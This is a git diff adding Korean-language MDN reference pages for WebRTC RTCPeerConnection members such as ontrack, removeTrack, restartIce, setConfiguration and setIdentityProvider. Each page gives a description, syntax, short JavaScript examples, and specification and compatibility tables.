+</pre>
+
+<p>예제에 사용된 이벤트 핸들러는 아래와 같습니다:</p>
+
+<pre class="brush: js">pc.onicegatheringstatechange = function() {
+  let label = "Unknown";
+
+  switch(pc.iceGatheringState) {
+    case "new":
+    case "complete":
+      label = "Idle";
+      break;
+    case "gathering":
+      label = "Determining route";
+      break;
+  }
+  // HTML에서 id가 "iceStatus"인 요소에 label 값을 지정
+  document.getElementById("iceStatus").innerHTML = label;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onicegatheringstatechange', 'RTCPeerConnection.onicegatheringstatechange') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onicegatheringstatechange")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("icegatheringstatechange")}} event and its type, {{domxref("Event")}}.</li>
+ <li>{{domxref("RTCPeerConnection.iceGatheringState")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html
new file mode 100644
index 0000000000..a237bae774
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/onidentityresult/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.onidentityresult
+slug: Web/API/RTCPeerConnection/onidentityresult
+translation_of: Web/API/RTCPeerConnection/onidentityresult
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.onidentityresult</strong></code> 이벤트 핸들러는 {{domxref("RTCPeerConnection")}}가 {{domxref("RTCIdentityEvent")}} 타입의 {{event("identityresult")}} 이벤트를 수신하게되면 실행되는 코드를 담고 있는 속성입니다. 이러한 이벤트는 {{domxref("RTCPeerConnection.getIdentityAssertion()", "getIdentityAssertion()")}} 혹은 offer 혹은 answer를 생성하는 과정에 의해 식별인자 주장이 생성되면 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="eval"><em>peerconnection</em>.onidentityresult = <em>function</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<ul>
+ <li><code>function</code> 은 개발자가 정의한 함수로 괄호 <code>()</code>나 매개 변수 혹은 <code>function(event) {...}</code>와 같은 이름 없는 함수 정의가 필요 없습니다. 이벤트 핸들러는 항상 {{domxref("RTCIdentityEvent")}} 타입의 이벤트를 포함하는 하나의 변수를 가집니다. </li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">pc.onidentityresult = function(ev) { alert("onidentityresult event detected!"); };
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-onidentityresult', 'RTCPeerConnection.onidentityresult') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.onidentityresult")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("identityresult")}} 이벤트와 해당 타입인 {{domxref("RTCIdentityEvent")}}를 참조하십시오.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/ontrack/index.html b/files/ko/web/api/rtcpeerconnection/ontrack/index.html
new file mode 100644
index 0000000000..1856d41890
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/ontrack/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.ontrack
+slug: Web/API/RTCPeerConnection/ontrack
+translation_of: Web/API/RTCPeerConnection/ontrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}} 속성인 <strong><code>ontrack</code></strong>은 {{domxref("RTCPeerConnection")}}에 트랙이 등록됨을 알려주는 {{event("track")}}가 발생하면 호출되는 함수를 지정하는 {{domxref("EventHandler")}}입니다.</span></p>
+
+<p>이 함수는 {{domxref("RTCTrackEvent")}} 타입의 이벤트 객체를 입력 인자로 받습니다. 해당 이벤트는 신규로 받아지는 {{domxref("MediaStreamTrack")}}가 생성되고 연결의 리시버 세트에 추가된 {{domxref("RTCRtpReceiver")}}객체와 연관되면 전송됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.ontrack = <em>eventHandler</em>;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>ontrack</code>을 함수로 지정해서 신규 트랙에 대해 설명하고 어떻게 사용 될지를 알려주는 {{domxref("RTCTrackEvent")}} 객체를 입력 인자로 받도록 하십시오. 이 정보에는 신규 트랙을 나타내는 {{domxref("MediaStreamTrack")}} 객체, {{domxref("RTCRtpReceiver")}}와{{domxref("RTCRtpTransceiver")}}, 그리고 트랙이 어느 스트림에 해당하는지를 알려주는 {{domxref("MediaStream")}}의 리스트 객체를 포함합니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시는 <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a> 문서에 나온 코드의 일부입니다. 이 코드는 들어오는 트랙을 {{HTMLElement("video")}}에 연결해서 해당 비디오를 보여줄 수 있도록 합니다.</p>
+
+<pre class="brush: js">pc.ontrack = function(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+};
+
+</pre>
+
+<p>첫 줄에 나온 <code>ontrack</code> 이벤트 핸들러는 들어오는 트랙의 첫 스트림을 가져다가 {{htmlattrxref("srcObject", "video")}} 속성에 지정합니다. 이렇게 함으로써 비디오의 스트림을 해당 요소에 연결하고, 유저에게 보여 줄 수 있게됩니다. 두 번째줄에서는 "통화 종료" 버튼을 활성화하여 유저가 통화를 종료 할 수 있도록 해줍니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-ontrack', 'RTCPeerConnection.ontrack')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.ontrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>The {{event("track")}} event and its type, {{domxref("RTCTrackEvent")}}.</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/removetrack/index.html b/files/ko/web/api/rtcpeerconnection/removetrack/index.html
new file mode 100644
index 0000000000..f08af06fd8
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/removetrack/index.html
@@ -0,0 +1,80 @@
+---
+title: RTCPeerConnection.removeTrack()
+slug: Web/API/RTCPeerConnection/removeTrack
+translation_of: Web/API/RTCPeerConnection/removeTrack
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><code><strong>RTCPeerConnection.removeTrack()</strong></code> 메소드는 {{domxref("RTCPeerConnection.getSenders()")}}에 의해 보고된 발신자 목록에서 해당 {{domxref("RTCRtpSender")}}를 실제로 제거하지 않은채, 지정한 트랙에서 미디어 전송을 중단하도록 연결의 로컬엔드에 알려줍니다.</span> 해당 트랙이 이미 중단되었거나, 연결의 발신자 목록에 존재하지 않으면, 이 메소드는 아무 영향이 없습니다.</p>
+
+<p>연결이 이미 협상된 경우 ({{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"stable"</code>로 설정된 경우), 재협상이 필요하다고 표시를 하게됩니다. 따라서, 원격 유저는 해당 협상이 발생하기 전까지 아무런 변화를 감지 할 수 없습니다. {{event("negotiationneeded")}} 이벤트가 {{domxref("RTCPeerConnection")}}에 전송되고, 로컬엔드에게 해당 협상이 반드시 발생해야 한다고 알려주게됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.removeTrack(sender);
+</code></pre>
+
+<h3 id="Example" name="Example">매개변수</h3>
+
+<dl>
+ <dt><code>mediaTrack</code></dt>
+ <dd>연결에서 해당하는 발신자를 제거하도록 알려주는 {{domxref("RTCRtpSender")}}.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>연결이 열린 상태가 아닙니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>아래의 예시는 연결에 비디오 트랙을 추가하고, 닫기 버튼을 감청하여 유저가 버튼을 클릭하면 해당 미디어를 제거하도록 합니다.</p>
+
+<pre class="brush: js">var pc, sender;
+navigator.getUserMedia({video: true}, function(stream) {
+  pc = new RTCPeerConnection();
+  var track = stream.getVideoTracks()[0];
+  sender = pc.addTrack(track, stream);
+});
+
+document.getElementById("closeButton").addEventListener("click", function(event) {
+  pc.removeTrack(sender);
+  pc.close();
+}, false);</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-removetrack', 'RTCPeerConnection.removeTrack()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.removeTrack")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/restartice/index.html b/files/ko/web/api/rtcpeerconnection/restartice/index.html
new file mode 100644
index 0000000000..dc3494d2ec
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/restartice/index.html
@@ -0,0 +1,80 @@
+---
+title: RTCPeerConnection.restartIce()
+slug: Web/API/RTCPeerConnection/restartIce
+translation_of: Web/API/RTCPeerConnection/restartIce
+---
+<p>{{APIRef("WebRTC API")}}</p>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> API의 {{domxref("RTCPeerConnection")}} 인터페이스에서는 <code><strong>restartIce()</strong></code> 메소드를 제공해서 연결의 양쪽에서 {{Glossary("ICE")}} candidate의 재수집 요청을 간단하게 할 수 있게 만들어줍니다.</span></p>
+
+<p><code>restartIce()</code>가 반환을 한 뒤에는, offer가 시그널링 메커니즘을 통해 전달되고, 원격 피어가 받은 offer를 description으로 설정을 하게 됩니다.이 과정이 완료되면, {{domxref("RTCPeerConnection.createOffer", "createOffer()")}}에 대한 다음 호출로 반환된 offer가 로컬 피어 (로컬로 설정이 된 경우)와 원격 피어에서 ICE 재시작을 발생시키도록 설정됩니다. </p>
+
+<p><code>restartIce()</code>는 <code>RTCPeerConnection</code>에 대한 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시켜서 어플리케이션이 신호 채널을 통해서 협상을 수행하도록 합니다.</p>
+
+<p>만약 협상이 롤백 현상이나 수신받은 offer가 이미 협상 중으로 인해 실패하게되면, {{domxref("RTCPeerConnection")}}가  ICE 재시작 요청을 했다는 것을 자동으로 기억합니다. 다음번에 연결의 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>stable</code>로 바뀌게되면, 연결 인터페이스가 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트를 발생시킵니다. 이 과정은 ICE 재시작 과정이 온전히 완료될 때까지 반복됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.restartIce();</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>undefined</code>.</p>
+
+<p>{{domxref("RTCPeerConnection.createOffer", "createOffer()")}}를 사용해서 만들어진 다음 offer가 신호 메커니즘을 통해 원격 유저에게 전달이 되면, ICE 재시작을 시작하도록 만듭니다. ICE를 재시작하게되면 기본적으로 ICE가 초기화되고, 새로운 증명서를 사용해서 신규 candidate를 생성합니다. 기존에 존재하던 미디어 전송/수신은 이 과정동안에는 방해받지 않습니다.</p>
+
+<p>ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, {{SectionOnPage("/ko/docs/Web/API/WebRTC_API/Session_lifetime", "ICE restart")}}와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}} 이벤트에 대한 핸들러입니다. 이 핸들러는 ICE를 재시작하여 <code>failed</code> 상태로의 전환을 관리합니다. </p>
+
+<pre class="brush: js">pc.addEventListener("iceconnectionstatechange", event =&gt; {
+  if (pc.iceConnectionState === "failed") {
+    /* possibly reconfigure the connection in some way here */
+    /* then request ICE restart */
+    pc.restartIce();
+  }
+});
+</pre>
+
+
+
+<p>위의 코드를 사용하여 ICE 협상 중 <code>failed</code> 상태로 전환되면 코드가 정상적으로 재협상 되어야 하기 때문에 {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}} 이벤트가 발생합니다. 그러나, <code>restartIce()</code>를 호출했기 때문에 <code>negotiationneeded</code>에 대한 핸들러에서 발생하는 {{domxref("RTCPeerConnection.createOffer", "createOffer()")}} 호출은 일반적으로 수행되는 재협상이 아니라 ICE 재시작을 발생시킵니다.</p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-restartice', 'RTCPeerConnection.restartIce()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.restartIce")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..2fa7822559
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.html
@@ -0,0 +1,59 @@
+---
+title: RTCPeerConnection()
+slug: Web/API/RTCPeerConnection/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection/RTCPeerConnection
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>RTCPeerConnection()</code></strong> 생성자는 로컬 기기와 원격 피어 간의 연결을 나타내는 {{domxref("RTCPeerConnection")}} 객체를 새로 만들어 반환합니다.</span></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">pc = new RTCPeerConnection([<em>configuration</em>]);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd><a href="#RTCConfiguration_dictionary"><code>RTCConfiguration</code> dictionary</a>는 신규 연결을 설정하는 옵션들을 제공합니다.</dd>
+</dl>
+
+<h3 id="RTCConfiguration_dictionary">RTCConfiguration dictionary</h3>
+
+<p>{{page("/ko/docs/Web/API/RTCConfiguration", "속성")}}</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>configuration</code>이 지정된 경우 그에 맞게 구성한, 그렇지 않은 경우 기본값 구성을 이용한 {{domxref("RTCPeerConnection")}} 객체입니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양명</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-ctor-RTCPeerConnection--RTCConfiguration-configuration', 'RTCPeerConnection()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>초기 선언</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">WebRTC architecture overview</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html
new file mode 100644
index 0000000000..844f1ae4a8
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setconfiguration/index.html
@@ -0,0 +1,99 @@
+---
+title: RTCPeerConnection.setConfiguration()
+slug: Web/API/RTCPeerConnection/setConfiguration
+translation_of: Web/API/RTCPeerConnection/setConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>RTCPeerConnection.setConfiguration()</code></strong> 메소드는 {{domxref("RTCConfiguration")}}객체에 명시한 값을 가지고 {{domxref("RTCPeerConnection")}}의 현재 설정을 지정합니다. 이 메소드를 사용해서 연결에서 사용되는 ICE 서버와 전송 정책을 변경 할 수 있습니다. </p>
+
+<p>가장 보편적으로 쓰이는 방법은 사용하려는 ICE 서버 값으로 교체해주는것 입니다. (엄청 자주 사용되는 케이스는 아닐 것입니다) 이 방법을 수행하는 두 가지 시나리오는 아래와 같습니다:</p>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection")}}가 ICE 서버를 명시하지 않고 시작된 경우. 예를 들어, {{domxref("RTCPeerConnection.RTCPeerConnection()", "RTCPeerConnection()")}} 생성자를 매개변수 없이 호출하게되면, 개발자가 직접 <code>setConfiguration()</code>를 호출해서 ICE 협상 시작 전에 ICE 서버를 추가해줘야 합니다.</li>
+ <li>연결의 재협상이 필요하거나, 어떤 이유로 인해서 다른 종류의 ICE 서버를 사용해야하는 경우. 예를 들어, 사용자가 새로운 지역으로 이동을 했기 때문에 지역 ICE 서버를 바꿔야하는 경우입니다. 이런 경우에는, <code>setConfiguration()</code>를 호출해서 신규 지역 ICE 서버로 바꿔주고, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#ICE_restart">ICE restart</a>을 시작하게됩니다.</li>
+</ul>
+
+<div class="note">
+<p>연결이 이미 설정이 되어있다면, 식별 정보는 변경 할 수 없습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>RTCPeerConnection</em>.setConfiguration(<em>configuration</em>);</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>configuration</code></dt>
+ <dd>설정을 할 수 있는 옵션들을 제공해주는 {{domxref("RTCConfiguration")}} 객체입니다. 변경사항은 계속해서 추가되지 않습니다. 대신에, 신규 값이 기존의 값은 완전히 대체하게 됩니다.</dd>
+</dl>
+
+<h3 id="예외처리">예외처리</h3>
+
+<dl>
+ <dt><code>InvalidAccessError</code></dt>
+ <dd><code>configuration.iceServers</code>에 정의한 하나 혹은 여러개의 URL이 {{Glossary("TURN")}} 서버 입니다. 하지만, 로그인을 위한 정보가 완전히 제공되지 않아서 발생하는 에러입니 ({{domxref("RTCIceServer.username")}} 혹은 {{domxref("RTCIceServer.credentials")}}의 값이 없다는 뜻). 이로인해 서버에 로그인을 성공적으로 할 수 없게 됩니다.</dd>
+ <dt><code>InvalidModificationError</code></dt>
+ <dd><code>configuration</code>에서 변경되는 식별 정보를 포함하고 있지만, 연결을 구성하면서 이미 식별 정보를 지정했기 때문에 발생하는 에러입니다. 이 에러는 <code>configuration.peerIdentity</code> 혹은 <code>configuration.certificates</code>가 설정이 되어있고, 이 값들이 현재 설정 값과 다르기 때문에 발생합니다.</dd>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("RTCPeerConnection")}}이 닫혀있어서 발생하는 에러입니다.</dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd><code>configuration.iceServers</code>에 제공된 하나 혹은 여러개의 URL 리스트가 유효하지 않아서 발생하는 에러입니다.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예시에서는 ICE 재시작이 필요한 것을 확인하고, 다른 ICE 서버를 사용해서 협상이 이루어지도록 합니다.</p>
+
+<pre class="brush: js">var restartConfig = { iceServers: [{
+                          urls: "turn:asia.myturnserver.net",
+                          username: "allie@oopcode.com",
+                          credential: "topsecretpassword"
+                      }]
+};
+
+myPeerConnection.setConfiguration(restartConfig);
+
+myPeerConnection.createOffer({"iceRestart": true}).then(function(offer) {
+  return myPeerConnection.setLocalDescription(offer);
+})
+.then(function() {
+  // send the offer to the other peer using the signaling server
+})
+.catch(reportError);</pre>
+
+<p>먼저, 신규 {{domxref("RTCConfiguration")}}가 신규 ICE 서버와 인증 정보를 명시한 <code>restartConfig</code>를 가지도록 생성됩니다. 그리고 설정한 {{domxref("RTCConfiguration")}}가 <code>setConfiguration()</code>에 전달됩니다. <code>iceRestart</code> 옵션의 값을 <code>true</code>로 지정하고, {{domxref("RTCPeerConnection.createOffer()", "createOffer()")}}을 호출해서 ICE 협상이 재시작됩니다. 이후에, 반환받은 offer를 local description으로 설정하고, 다른 피어에게 offer를 전달하는 것과 같이 일반적으로 진행되도록 처리합니다. </p>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setConfiguration-void-RTCConfiguration-configuration', 'setConfiguration()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.setConfiguration")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.getConfiguration()")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html
new file mode 100644
index 0000000000..784a5e5dec
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setidentityprovider/index.html
@@ -0,0 +1,66 @@
+---
+title: RTCPeerConnection.setIdentityProvider()
+slug: Web/API/RTCPeerConnection/setIdentityProvider
+translation_of: Web/API/RTCPeerConnection/setIdentityProvider
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.setIdentityProvider()</strong></code> 메소드는 이름, 통신에 사용된 프로토콜 (옵션), 유저 이름 (옵션)으로 구성된 세 가지 매개변수에 식별 제공자 (Identity Provider, IdP)를 지정합니다. IdP는 주장 (assertion)이 필요한 순간에만 사용 될 것입니다. </p>
+
+<p>{{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code>로 지정되어있다면, <code>InvalidStateError</code> 에러가 발생합니다. </p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.setIdentityProvider(<em>domainname</em> [, <em>protocol</em>] [, <em>username</em>]);
+</code></pre>
+
+<p><em>이 메소드는 반환 값이 존재하지 않습니다.</em></p>
+
+<h3 id="Example" name="Example">매개변수</h3>
+
+<dl>
+ <dt><em>domainname</em></dt>
+ <dd>IdP가 존재하는 도메인 이름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+ <dt><em>protocol</em> {{optional_Inline}}</dt>
+ <dd>IdP와 통신하기위해 사용된 프로토콜을 나타내는 {{domxref("DOMString")}}입니다. 디폴트 값은 <code>"default"</code>로 설정되어있고, IdP가 감청하게되는 URL를 결정하는데에 사용됩니다.</dd>
+ <dt><em>username</em> {{optional_Inline}}</dt>
+ <dd>IdP와 연관된 유저 이름을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">var pc = new PeerConnection();
+
+pc.setIdentityAssertion("developer.mozilla.org");
+</pre>
+
+<h2 id="Specifications" name="Specifications">사양서</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">사양서</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-setIdentityProvider-void-DOMString-provider-DOMString-protocol-DOMString-username', 'RTCPeerConnection.setIdentityProvider()') }}</td>
+   <td>{{ Spec2('WebRTC 1.0') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.setIdentityProvider")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html
new file mode 100644
index 0000000000..41430c7267
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/setlocaldescription/index.html
@@ -0,0 +1,125 @@
+---
+title: RTCPeerConnection.setLocalDescription()
+slug: Web/API/RTCPeerConnection/setLocalDescription
+translation_of: Web/API/RTCPeerConnection/setLocalDescription
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary"><code><strong>RTCPeerConnection.setLocalDescription()</strong></code> 메소드는 연결 인터페이스와 관련이 있는 로컬 설명 (local description)을 변경합니다. 로컬 설명은 미디어 형식을 포함하는 연결의 로컬 엔드에 대한 속성을 명시합니다.</span></p>
+
+<p>이 메소드는 세션 설명 (session description)을 단일 매개변수로 가지며, 설명이 비동기적으로 변하게되면 fulfilled되는 {{jsxref("Promise")}}를 반환합니다.</p>
+
+<p>연결이 이미 되어있는데 <code>setLocalDescription()</code>가 호출된다면, 이는 재협상이 진행 중이라는 뜻입니다 (아마도 네트워크 환경이 바뀐 것에 대응하기 위함일 것입니다). 두명의 피어가 설정 값에 모두 동의해야지만 설명이 교환되기 때문에, <code>setLocalDescription()</code>의 호출로 전송된 설명은 즉시 사용되지 못합니다. 대신 협상이 완료되는 순간까지는 기존 연결 설정대로 작동 하게 됩니다. 그러다가 협상이 완료된 다음에서야 신규 설정이 사용됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">aPromise = <em>RTCPeerConnection</em>.setLocalDescription(<em>sessionDescription</em>);
+
+<em>pc</em>.setLocalDescription(<em>sessionDescription</em>, <em>successCallback</em>, <em>errorCallback</em>); {{deprecated_inline}}
+</pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>sessionDescription</code></dt>
+ <dd>연결의 로컬 엔드에 적용시킬 설정 값을 지정하는 {{domxref("RTCSessionDescriptionInit")}} 혹은 {{domxref("RTCSessionDescription")}}입니다.</dd>
+</dl>
+
+<h4 id="세션_설명_매개_변수에_대한_설명">세션 설명 매개 변수에 대한 설명</h4>
+
